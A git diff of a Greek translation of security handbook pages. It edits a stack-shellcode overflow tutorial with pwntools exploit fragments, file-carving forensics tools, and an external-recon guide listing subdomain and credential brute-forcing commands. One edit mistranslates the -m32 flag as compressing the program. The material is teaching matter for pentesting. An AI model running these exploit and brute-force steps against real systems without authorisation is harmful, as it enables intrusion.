index 9ea469d16..53360a259 100644
--- a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md
+++ b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md
@@ -8,7 +8,7 @@
### C Example: A Vulnerable Program
-Ας ξεκινήσουμε με ένα απλό παράδειγμα ενός ευάλωτου προγράμματος C:
+Let's start with a simple example of a vulnerable C program:
```c
#include
#include
@@ -35,7 +35,7 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
- `-fno-stack-protector`: Απενεργοποιεί την προστασία της στοίβας.
- `-z execstack`: Κάνει τη στοίβα εκτελέσιμη, κάτι που είναι απαραίτητο για την εκτέλεση του shellcode που είναι αποθηκευμένο στη στοίβα.
- `-no-pie`: Απενεργοποιεί το Position Independent Executable, διευκολύνοντας την πρόβλεψη της διεύθυνσης μνήμης όπου θα βρίσκεται το shellcode μας.
-- `-m32`: Συγκεντρώνει το πρόγραμμα ως 32-bit εκτελέσιμο, συχνά χρησιμοποιούμενο για απλότητα στην ανάπτυξη εκμεταλλεύσεων.
+- `-m32`: Συμπιέζει το πρόγραμμα ως 32-bit εκτελέσιμο, συχνά χρησιμοποιούμενο για απλότητα στην ανάπτυξη εκμεταλλεύσεων.
### Python Exploit using Pwntools
@@ -66,15 +66,15 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
p.sendline(payload)
p.interactive()
```
-Αυτό το σενάριο κατασκευάζει ένα payload που αποτελείται από μια **NOP slide**, το **shellcode**, και στη συνέχεια αντικαθιστά το **EIP** με τη διεύθυνση που δείχνει στη NOP slide, διασφαλίζοντας ότι το shellcode θα εκτελεστεί.
+Αυτό το σενάριο κατασκευάζει ένα payload που αποτελείται από μια **NOP slide**, το **shellcode**, και στη συνέχεια αντικαθιστά το **EIP** με τη διεύθυνση που δείχνει στην NOP slide, διασφαλίζοντας ότι το shellcode θα εκτελεστεί.
-Η **NOP slide** (`asm('nop')`) χρησιμοποιείται για να αυξήσει την πιθανότητα ότι η εκτέλεση θα "γλιστρήσει" στο shellcode μας ανεξάρτητα από τη ακριβή διεύθυνση. Ρυθμίστε το επιχείρημα `p32()` στη διεύθυνση εκκίνησης του buffer σας συν ένα offset για να προσγειωθείτε στη NOP slide.
+Η **NOP slide** (`asm('nop')`) χρησιμοποιείται για να αυξήσει την πιθανότητα ότι η εκτέλεση θα "γλιστρήσει" στο shellcode μας ανεξάρτητα από τη ακριβή διεύθυνση. Ρυθμίστε το επιχείρημα `p32()` στη διεύθυνση εκκίνησης του buffer σας συν ένα offset για να προσγειωθείτε στην NOP slide.
## Προστασίες
-- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **θα πρέπει να είναι απενεργοποιημένο** για να είναι η διεύθυνση αξιόπιστη σε όλες τις εκτελέσεις ή η διεύθυνση όπου θα αποθηκευτεί η συνάρτηση δεν θα είναι πάντα η ίδια και θα χρειαστείτε κάποια leak για να καταλάβετε πού είναι φορτωμένη η win function.
-- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) θα πρέπει επίσης να είναι απενεργοποιημένα ή η συμβιβασμένη διεύθυνση επιστροφής EIP δεν θα ακολουθείται ποτέ.
-- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** προστασία θα αποτρέψει την εκτέλεση του shellcode μέσα στη στοίβα γιατί αυτή η περιοχή δεν θα είναι εκτελέσιμη.
+- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **θα πρέπει να είναι απενεργοποιημένο** για να είναι η διεύθυνση αξιόπιστη σε όλες τις εκτελέσεις ή η διεύθυνση όπου θα αποθηκευτεί η συνάρτηση δεν θα είναι πάντα η ίδια και θα χρειαστείτε κάποια leak για να καταλάβετε πού είναι φορτωμένη η win function.
+- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) θα πρέπει επίσης να είναι απενεργοποιημένα ή η συμβιβασμένη διεύθυνση επιστροφής EIP δεν θα ακολουθηθεί ποτέ.
+- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** προστασία θα αποτρέψει την εκτέλεση του shellcode μέσα στη στοίβα επειδή αυτή η περιοχή δεν θα είναι εκτελέσιμη.
## Άλλα Παραδείγματα & Αναφορές
@@ -86,6 +86,6 @@ p.interactive()
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
- 32 bit, ASLR με leak στοίβας, σύγκριση για να αποτραπεί η κλήση στο exit(), αντικαταστήστε μια μεταβλητή με μια τιμή και γράψτε shellcode και πηδήξτε σε αυτό
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
-- arm64, χωρίς ASLR, ROP gadget για να κάνετε τη στοίβα εκτελέσιμη και πηδήξτε στο shellcode στη στοίβα
+- arm64, χωρίς ASLR, ROP gadget για να κάνετε τη στοίβα εκτελέσιμη και να πηδήξετε στο shellcode στη στοίβα
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
index f691145aa..7c4dd2fc8 100644
--- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
+++ b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
@@ -4,17 +4,17 @@
## Carving & Recovery tools
-Περισσότερα εργαλεία στο [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
+More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
### Autopsy
-Το πιο κοινό εργαλείο που χρησιμοποιείται στην ψηφιακή εγκληματολογία για την εξαγωγή αρχείων από εικόνες είναι το [**Autopsy**](https://www.autopsy.com/download/). Κατεβάστε το, εγκαταστήστε το και κάντε το να επεξεργαστεί το αρχείο για να βρείτε "κρυφά" αρχεία. Σημειώστε ότι το Autopsy έχει σχεδιαστεί για να υποστηρίζει εικόνες δίσκων και άλλους τύπους εικόνων, αλλά όχι απλά αρχεία.
+Το πιο κοινό εργαλείο που χρησιμοποιείται στην ψηφιακή εγκληματολογία για την εξαγωγή αρχείων από εικόνες είναι το [**Autopsy**](https://www.autopsy.com/download/). Κατεβάστε το, εγκαταστήστε το και κάντε το να επεξεργαστεί το αρχείο για να βρείτε "κρυφά" αρχεία. Σημειώστε ότι το Autopsy έχει σχεδιαστεί για να υποστηρίζει δισκοειδείς εικόνες και άλλους τύπους εικόνων, αλλά όχι απλά αρχεία.
### Binwalk
-**Binwalk** είναι ένα εργαλείο για την ανάλυση δυαδικών αρχείων για να βρείτε ενσωματωμένο περιεχόμενο. Είναι εγκαταστάσιμο μέσω του `apt` και η πηγή του είναι στο [GitHub](https://github.com/ReFirmLabs/binwalk).
+**Binwalk** είναι ένα εργαλείο για την ανάλυση δυαδικών αρχείων για να βρείτε ενσωματωμένο περιεχόμενο. Είναι εγκαταστάσιμο μέσω `apt` και η πηγή του είναι στο [GitHub](https://github.com/ReFirmLabs/binwalk).
-**Χρήσιμες εντολές**:
+**Useful commands**:
```bash
sudo apt install binwalk #Insllation
binwalk file #Displays the embedded data in the given file
@@ -44,7 +44,7 @@ scalpel file.img -o output
```
bulk_extractor memory.img -o out_folder
```
-Πλοηγηθείτε μέσα από **όλες τις πληροφορίες** που έχει συγκεντρώσει το εργαλείο (κωδικοί πρόσβασης;), **αναλύστε** τα **πακέτα** (διαβάστε [**Ανάλυση Pcaps**](../pcap-inspection/)), αναζητήστε **παράξενους τομείς** (τομείς σχετικούς με **κακόβουλο λογισμικό** ή **μη υπάρχοντες**).
+Πλοηγηθείτε μέσα από **όλες τις πληροφορίες** που έχει συγκεντρώσει το εργαλείο (κωδικοί πρόσβασης;), **αναλύστε** τα **πακέτα** (διαβάστε [**Ανάλυση Pcaps**](../pcap-inspection/index.html)), αναζητήστε **παράξενους τομείς** (τομείς σχετικούς με **κακόβουλο λογισμικό** ή **μη υπάρχοντες**).
### PhotoRec
@@ -69,7 +69,7 @@ bulk_extractor memory.img -o out_folder
- **Αναγνώριση** Στεγανότητας μέσω μοτίβων
- **Οπτική** διαφορά δυαδικών αρχείων
-Το BinVis είναι ένα εξαιρετικό **σημείο εκκίνησης για να εξοικειωθείτε με έναν άγνωστο στόχο** σε ένα σενάριο μαύρης κουτί.
+Το BinVis είναι ένα εξαιρετικό **σημείο εκκίνησης για να εξοικειωθείτε με έναν άγνωστο στόχο** σε ένα σενάριο black-boxing.
## Ειδικά Εργαλεία Κατασκευής Δεδομένων
@@ -81,7 +81,7 @@ bulk_extractor memory.img -o out_folder
## Συμπληρωματικά εργαλεία
-Μπορείτε να χρησιμοποιήσετε [**viu**](https://github.com/atanunq/viu) για να δείτε εικόνες από το τερματικό.\
+Μπορείτε να χρησιμοποιήσετε το [**viu**](https://github.com/atanunq/viu) για να δείτε εικόνες από το τερματικό.\
Μπορείτε να χρησιμοποιήσετε το εργαλείο γραμμής εντολών linux **pdftotext** για να μετατρέψετε ένα pdf σε κείμενο και να το διαβάσετε.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md
index 2207d8667..cebacfef4 100644
--- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md
+++ b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md
@@ -39,13 +39,13 @@ scalpel file.img -o output
```text
bulk_extractor memory.img -o out_folder
```
-Πλοηγηθείτε μέσα από **όλες τις πληροφορίες** που έχει συγκεντρώσει το εργαλείο \(κωδικοί πρόσβασης;\), **αναλύστε** τα **πακέτα** \(διαβάστε [ **Ανάλυση Pcaps**](../pcap-inspection/)\), αναζητήστε **παράξενους τομείς** \(τομείς σχετικούς με **malware** ή **μη υπάρχοντες**\).
+Πλοηγηθείτε μέσα από **όλες τις πληροφορίες** που έχει συγκεντρώσει το εργαλείο \(κωδικοί πρόσβασης;\), **αναλύστε** τα **πακέτα** \(διαβάστε [ **Ανάλυση Pcaps**](../pcap-inspection/index.html)\), αναζητήστε **παράξενους τομείς** \(τομείς που σχετίζονται με **malware** ή **μη υπάρχοντες**\).
## PhotoRec
Μπορείτε να το βρείτε στο [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)
-Έρχεται με έκδοση GUI και CLI. Μπορείτε να επιλέξετε τους **τύπους αρχείων** που θέλετε να αναζητήσει το PhotoRec.
+Έρχεται με εκδόσεις GUI και CLI. Μπορείτε να επιλέξετε τους **τύπους αρχείων** που θέλετε να αναζητήσει το PhotoRec.

diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
index a64bfaba1..145fb4596 100644
--- a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
+++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
@@ -4,7 +4,7 @@
## Carving & Recovery tools
-Περισσότερα εργαλεία στο [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
+More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
### Autopsy
@@ -12,9 +12,9 @@
### Binwalk
-**Binwalk** είναι ένα εργαλείο για την ανάλυση δυαδικών αρχείων για να βρείτε ενσωματωμένο περιεχόμενο. Είναι εγκαταστάσιμο μέσω του `apt` και η πηγή του είναι στο [GitHub](https://github.com/ReFirmLabs/binwalk).
+**Binwalk** είναι ένα εργαλείο για την ανάλυση δυαδικών αρχείων για να βρει ενσωματωμένο περιεχόμενο. Είναι εγκαταστάσιμο μέσω `apt` και η πηγή του είναι στο [GitHub](https://github.com/ReFirmLabs/binwalk).
-**Χρήσιμες εντολές**:
+**Useful commands**:
```bash
sudo apt install binwalk #Insllation
binwalk file #Displays the embedded data in the given file
@@ -31,7 +31,7 @@ foremost -v -i file.img -o output
```
### **Scalpel**
-**Scalpel** είναι ένα άλλο εργαλείο που μπορεί να χρησιμοποιηθεί για να βρει και να εξάγει **αρχεία που είναι ενσωματωμένα σε ένα αρχείο**. Σε αυτή την περίπτωση, θα χρειαστεί να αφαιρέσετε το σχόλιο από το αρχείο ρυθμίσεων (_/etc/scalpel/scalpel.conf_) τους τύπους αρχείων που θέλετε να εξάγει.
+**Scalpel** είναι ένα άλλο εργαλείο που μπορεί να χρησιμοποιηθεί για να βρει και να εξάγει **αρχεία ενσωματωμένα σε ένα αρχείο**. Σε αυτή την περίπτωση, θα χρειαστεί να αποσχολιάσετε από το αρχείο ρυθμίσεων (_/etc/scalpel/scalpel.conf_) τους τύπους αρχείων που θέλετε να εξάγει.
```bash
sudo apt-get install scalpel
scalpel file.img -o output
@@ -44,7 +44,7 @@ scalpel file.img -o output
```
bulk_extractor memory.img -o out_folder
```
-Πλοηγηθείτε μέσα από **όλες τις πληροφορίες** που έχει συγκεντρώσει το εργαλείο (κωδικοί πρόσβασης;), **αναλύστε** τα **πακέτα** (διαβάστε [**Ανάλυση Pcaps**](../pcap-inspection/)), αναζητήστε **παράξενους τομείς** (τομείς σχετικούς με **κακόβουλο λογισμικό** ή **μη υπάρχοντες**).
+Πλοηγηθείτε μέσα από **όλες τις πληροφορίες** που έχει συγκεντρώσει το εργαλείο (κωδικοί πρόσβασης;), **αναλύστε** τα **πακέτα** (διαβάστε [ **Ανάλυση Pcaps**](../pcap-inspection/index.html)), αναζητήστε **παράξενους τομείς** (τομείς σχετικούς με **malware** ή **μη υπάρχοντες**).
### PhotoRec
@@ -64,12 +64,12 @@ bulk_extractor memory.img -o out_folder
- Πολλαπλά διαγράμματα για διαφορετικά σημεία εστίασης
- Εστίαση σε τμήματα ενός δείγματος
- **Βλέποντας αλυσίδες και πόρους**, σε εκτελέσιμα PE ή ELF π.χ.
-- Λαμβάνοντας **μοτίβα** για κρυπτοανάλυση σε αρχεία
+- Λήψη **μοτίβων** για κρυπτοανάλυση σε αρχεία
- **Εντοπισμός** αλγορίθμων συμπίεσης ή κωδικοποίησης
- **Αναγνώριση** Στεγανότητας μέσω μοτίβων
- **Οπτική** διαφορά δυαδικών αρχείων
-Το BinVis είναι ένα εξαιρετικό **σημείο εκκίνησης για να εξοικειωθείτε με έναν άγνωστο στόχο** σε ένα σενάριο μαύρης κουτί.
+Το BinVis είναι ένα εξαιρετικό **σημείο εκκίνησης για να εξοικειωθείτε με έναν άγνωστο στόχο** σε ένα σενάριο black-boxing.
## Ειδικά Εργαλεία Κατασκευής Δεδομένων
@@ -81,7 +81,7 @@ bulk_extractor memory.img -o out_folder
## Συμπληρωματικά εργαλεία
-Μπορείτε να χρησιμοποιήσετε το [**viu**](https://github.com/atanunq/viu) για να δείτε εικόνες από το τερματικό.\
+Μπορείτε να χρησιμοποιήσετε το [**viu** ](https://github.com/atanunq/viu) για να δείτε εικόνες από το τερματικό.\
Μπορείτε να χρησιμοποιήσετε το εργαλείο γραμμής εντολών linux **pdftotext** για να μετατρέψετε ένα pdf σε κείμενο και να το διαβάσετε.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/README.md b/src/generic-methodologies-and-resources/external-recon-methodology/README.md
index 25a2113f1..e5817f71d 100644
--- a/src/generic-methodologies-and-resources/external-recon-methodology/README.md
+++ b/src/generic-methodologies-and-resources/external-recon-methodology/README.md
@@ -10,8 +10,8 @@
1. Βρούμε τις εξαγορές της κύριας εταιρείας, αυτό θα μας δώσει τις εταιρείες εντός του πεδίου εφαρμογής.
2. Βρούμε το ASN (αν υπάρχει) κάθε εταιρείας, αυτό θα μας δώσει τις περιοχές IP που ανήκουν σε κάθε εταιρεία.
-3. Χρησιμοποιήσουμε αναζητήσεις reverse whois για να αναζητήσουμε άλλες καταχωρίσεις (ονόματα οργανισμών, τομείς...) σχετικές με την πρώτη (αυτό μπορεί να γίνει αναδρομικά).
-4. Χρησιμοποιήσουμε άλλες τεχνικές όπως τα φίλτρα shodan `org` και `ssl` για να αναζητήσουμε άλλα περιουσιακά στοιχεία (το κόλπο `ssl` μπορεί να γίνει αναδρομικά).
+3. Χρησιμοποιήσουμε αναζητήσεις reverse whois για να ψάξουμε για άλλες καταχωρίσεις (ονόματα οργανισμών, τομείς...) σχετικές με την πρώτη (αυτό μπορεί να γίνει αναδρομικά).
+4. Χρησιμοποιήσουμε άλλες τεχνικές όπως τα φίλτρα shodan `org` και `ssl` για να ψάξουμε για άλλα περιουσιακά στοιχεία (το κόλπο `ssl` μπορεί να γίνει αναδρομικά).
### **Εξαγορές**
@@ -56,7 +56,7 @@ bbot -t tesla.com -f subdomain-enum
### **Αναζητώντας ευπάθειες**
-Σε αυτό το σημείο γνωρίζουμε **όλα τα περιουσιακά στοιχεία εντός του πεδίου**, οπότε αν έχετε άδεια, μπορείτε να εκκινήσετε κάποιο **σάρωσης ευπαθειών** (Nessus, OpenVAS) σε όλους τους hosts.\
+Σε αυτό το σημείο γνωρίζουμε **όλα τα περιουσιακά στοιχεία εντός του πεδίου**, οπότε αν έχετε άδεια, μπορείτε να εκκινήσετε κάποιο **σάρωσης ευπαθειών** (Nessus, OpenVAS) σε όλους τους υπολογιστές.\
Επίσης, μπορείτε να εκκινήσετε κάποιες [**σάρωσεις θυρών**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **ή να χρησιμοποιήσετε υπηρεσίες όπως** shodan **για να βρείτε** ανοιχτές θύρες **και ανάλογα με το τι θα βρείτε, θα πρέπει να** ρίξετε μια ματιά σε αυτό το βιβλίο για το πώς να κάνετε pentest σε πολλές πιθανές υπηρεσίες που τρέχουν.\
**Επίσης, αξίζει να αναφερθεί ότι μπορείτε επίσης να προετοιμάσετε κάποιες** λίστες με προεπιλεγμένα ονόματα χρήστη **και** κωδικούς πρόσβασης **και να προσπαθήσετε να** κάνετε bruteforce υπηρεσίες με [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
@@ -118,7 +118,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
```
-
+
Απλά, το favihash θα μας επιτρέψει να ανακαλύψουμε τομείς που έχουν το ίδιο hash εικονιδίου favicon με τον στόχο μας.
@@ -139,13 +139,13 @@ fhash = mmh3.hash(favicon)
print(f"{url} : {fhash}")
return fhash
```
-### **Πνευματικά Δικαιώματα / Μοναδική συμβολοσειρά**
+### **Copyright / Uniq string**
-Αναζητήστε μέσα στις ιστοσελίδες **συμβολοσειρές που θα μπορούσαν να μοιραστούν σε διάφορες ιστοσελίδες της ίδιας οργάνωσης**. Η **συμβολοσειρά πνευματικών δικαιωμάτων** θα μπορούσε να είναι ένα καλό παράδειγμα. Στη συνέχεια, αναζητήστε αυτή τη συμβολοσειρά σε **google**, σε άλλους **πλοηγούς** ή ακόμα και σε **shodan**: `shodan search http.html:"Copyright string"`
+Αναζητήστε μέσα στις ιστοσελίδες **αλφαριθμητικούς χαρακτήρες που θα μπορούσαν να μοιραστούν σε διάφορες ιστοσελίδες της ίδιας οργάνωσης**. Η **αλφαριθμητική δήλωση πνευματικών δικαιωμάτων** θα μπορούσε να είναι ένα καλό παράδειγμα. Στη συνέχεια, αναζητήστε αυτή τη δήλωση σε **google**, σε άλλους **προγράμματα περιήγησης** ή ακόμη και σε **shodan**: `shodan search http.html:"Copyright string"`
-### **Χρόνος CRT**
+### **CRT Time**
-Είναι κοινό να υπάρχει μια εργασία cron όπως
+Είναι συνηθισμένο να υπάρχει μια εργασία cron όπως
```bash
# /etc/crontab
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
@@ -161,7 +161,7 @@ return fhash
Φαίνεται ότι είναι κοινό για τους ανθρώπους να αναθέτουν υποτομείς σε IP που ανήκουν σε παρόχους cloud και σε κάποιο σημείο **να χάσουν αυτήν την διεύθυνση IP αλλά να ξεχάσουν να αφαιρέσουν την εγγραφή DNS**. Επομένως, απλά **δημιουργώντας μια VM** σε ένα cloud (όπως το Digital Ocean) θα **αναλαμβάνετε στην πραγματικότητα κάποιους υποτομείς**.
-[**Αυτή η ανάρτηση**](https://kmsec.uk/blog/passive-takeover/) εξηγεί μια ιστορία γι' αυτό και προτείνει ένα σενάριο που **δημιουργεί μια VM στο DigitalOcean**, **παίρνει** την **IPv4** της νέας μηχανής και **αναζητά σε Virustotal για εγγραφές υποτομέων** που δείχνουν σε αυτήν.
+[**Αυτή η ανάρτηση**](https://kmsec.uk/blog/passive-takeover/) εξηγεί μια ιστορία σχετικά με αυτό και προτείνει ένα σενάριο που **δημιουργεί μια VM στο DigitalOcean**, **παίρνει** την **IPv4** της νέας μηχανής και **αναζητά σε Virustotal για εγγραφές υποτομέων** που δείχνουν σε αυτήν.
### **Άλλοι τρόποι**
@@ -201,7 +201,7 @@ dnsrecon -a -d tesla.com
```
### **OSINT**
-Ο ταχύτερος τρόπος για να αποκτήσετε πολλούς υποτομείς είναι η αναζήτηση σε εξωτερικές πηγές. Τα πιο χρησιμοποιούμενα **εργαλεία** είναι τα εξής (για καλύτερα αποτελέσματα ρυθμίστε τα API keys):
+Ο ταχύτερος τρόπος για να αποκτήσετε πολλούς υποτομείς είναι η αναζήτηση σε εξωτερικές πηγές. Τα πιο χρησιμοποιούμενα **εργαλεία** είναι τα εξής (για καλύτερα αποτελέσματα ρυθμίστε τα κλειδιά API):
- [**BBOT**](https://github.com/blacklanternsecurity/bbot)
```bash
@@ -312,7 +312,7 @@ python3 censys-subdomain-finder.py tesla.com
```bash
python3 DomainTrail.py -d example.com
```
-- [**securitytrails.com**](https://securitytrails.com/) έχει μια δωρεάν API για αναζήτηση υποτομέων και ιστορικό IP
+- [**securitytrails.com**](https://securitytrails.com/) έχει δωρεάν API για αναζήτηση υποτομέων και ιστορικό IP
- [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
Αυτό το έργο προσφέρει **δωρεάν όλους τους υποτομείς που σχετίζονται με προγράμματα bug-bounty**. Μπορείτε να αποκτήσετε πρόσβαση σε αυτά τα δεδομένα χρησιμοποιώντας επίσης [chaospy](https://github.com/dr-0x0x/chaospy) ή ακόμα και να αποκτήσετε πρόσβαση στο πεδίο που χρησιμοποιείται από αυτό το έργο [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
@@ -353,7 +353,7 @@ shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
```
puredns bruteforce all.txt domain.com
```
-- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) χρησιμοποιεί το asyncio για να επιτεθεί σε ονόματα τομέα ασύγχρονα.
+- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) χρησιμοποιεί το asyncio για να κάνει brute force σε ονόματα τομέα ασύγχρονα.
```
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
```
@@ -375,12 +375,12 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
```
- [**altdns**](https://github.com/infosec-au/altdns): Εκτός από την παραγωγή παραλλαγών υποτομέων, μπορεί επίσης να προσπαθήσει να τις επιλύσει (αλλά είναι καλύτερο να χρησιμοποιήσετε τα προηγούμενα εργαλεία που αναφέρθηκαν).
-- Μπορείτε να αποκτήσετε τις παραλλαγές altdns **wordlist** [**εδώ**](https://github.com/infosec-au/altdns/blob/master/words.txt).
+- Μπορείτε να αποκτήσετε παραλλαγές altdns **wordlist** [**εδώ**](https://github.com/infosec-au/altdns/blob/master/words.txt).
```
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
```
- [**dmut**](https://github.com/bp0lr/dmut): Ένα ακόμα εργαλείο για την εκτέλεση παραλλαγών, μεταλλάξεων και τροποποιήσεων υποτομέων. Αυτό το εργαλείο θα εκτελέσει brute force στο αποτέλεσμα (δεν υποστηρίζει dns wild card).
-- Μπορείτε να αποκτήσετε τη λίστα λέξεων παραλλαγών του dmut [**εδώ**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt).
+- Μπορείτε να αποκτήσετε τη λίστα λέξεων παραλλαγών dmut [**εδώ**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt).
```bash
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
@@ -389,7 +389,7 @@ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
#### Έξυπνη γενιά παραλλαγών
-- [**regulator**](https://github.com/cramppet/regulator): Για περισσότερες πληροφορίες διαβάστε αυτήν την [**ανάρτηση**](https://cramppet.github.io/regulator/index.html) αλλά βασικά θα πάρει τα **κύρια μέρη** από τους **ανακαλυφθέντες υποτομείς** και θα τα αναμείξει για να βρει περισσότερους υποτομείς.
+- [**regulator**](https://github.com/cramppet/regulator): Για περισσότερες πληροφορίες διαβάστε αυτήν την [**ανάρτηση**](https://cramppet.github.io/regulator/index.html) αλλά βασικά θα πάρει τα **κύρια μέρη** από τους **ανακαλυφθέντες υποτομείς** και θα τα αναμίξει για να βρει περισσότερους υποτομείς.
```bash
python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute
@@ -421,7 +421,7 @@ https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/
**Brute Force**
-Αν υποψιάζεστε ότι κάποιο υποτομέα μπορεί να είναι κρυμμένος σε έναν διακομιστή ιστού, μπορείτε να προσπαθήσετε να τον δοκιμάσετε με brute force:
+Αν υποψιάζεστε ότι κάποιος υποτομέας μπορεί να είναι κρυμμένος σε έναν διακομιστή ιστού, μπορείτε να προσπαθήσετε να τον δοκιμάσετε με brute force:
```bash
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
@@ -446,25 +446,25 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
```
### **Buckets Brute Force**
-Ενώ ψάχνετε για **subdomains**, προσέξτε αν **δείχνει** σε οποιοδήποτε τύπο **bucket**, και σε αυτή την περίπτωση [**ελέγξτε τις άδειες**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
-Επίσης, καθώς σε αυτό το σημείο θα γνωρίζετε όλα τα domains μέσα στο πεδίο, προσπαθήστε να [**brute force πιθανές ονομασίες bucket και ελέγξτε τις άδειες**](../../network-services-pentesting/pentesting-web/buckets/).
+Ενώ ψάχνετε για **subdomains**, προσέξτε αν **δείχνει** σε οποιοδήποτε τύπο **bucket**, και σε αυτή την περίπτωση [**ελέγξτε τις άδειες**](../../network-services-pentesting/pentesting-web/buckets/index.html)**.**\
+Επίσης, καθώς σε αυτό το σημείο θα γνωρίζετε όλα τα domains μέσα στο πεδίο, προσπαθήστε να [**brute force πιθανές ονομασίες buckets και ελέγξτε τις άδειες**](../../network-services-pentesting/pentesting-web/buckets/index.html).
### **Monitorization**
-Μπορείτε να **παρακολουθείτε** αν **δημιουργούνται νέα subdomains** ενός domain παρακολουθώντας τα **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)το οποίο κάνει.
+Μπορείτε να **παρακολουθείτε** αν **δημιουργούνται νέα subdomains** ενός domain παρακολουθώντας τα **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
### **Looking for vulnerabilities**
Ελέγξτε για πιθανές [**subdomain takeovers**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
-Αν το **subdomain** δείχνει σε κάποιο **S3 bucket**, [**ελέγξτε τις άδειες**](../../network-services-pentesting/pentesting-web/buckets/).
+Αν το **subdomain** δείχνει σε κάποιο **S3 bucket**, [**ελέγξτε τις άδειες**](../../network-services-pentesting/pentesting-web/buckets/index.html).
-Αν βρείτε οποιοδήποτε **subdomain με IP διαφορετική** από αυτές που έχετε ήδη βρει στην ανακάλυψη περιουσιακών στοιχείων, θα πρέπει να εκτελέσετε μια **βασική σάρωση ευπαθειών** (χρησιμοποιώντας Nessus ή OpenVAS) και κάποια [**σάρωση θυρών**](../pentesting-network/index.html#discovering-hosts-from-the-outside) με **nmap/masscan/shodan**. Ανάλογα με τις υπηρεσίες που τρέχουν, μπορείτε να βρείτε σε **αυτό το βιβλίο μερικά κόλπα για να "επιτεθείτε" σε αυτές**.\
+Αν βρείτε οποιοδήποτε **subdomain με IP διαφορετική** από αυτές που έχετε ήδη βρει στην ανακάλυψη assets, θα πρέπει να εκτελέσετε μια **βασική σάρωση ευπαθειών** (χρησιμοποιώντας Nessus ή OpenVAS) και κάποια [**σάρωση θυρών**](../pentesting-network/index.html#discovering-hosts-from-the-outside) με **nmap/masscan/shodan**. Ανάλογα με τις υπηρεσίες που τρέχουν, μπορείτε να βρείτε σε **αυτό το βιβλίο μερικά κόλπα για να "επιτεθείτε" σε αυτές**.\
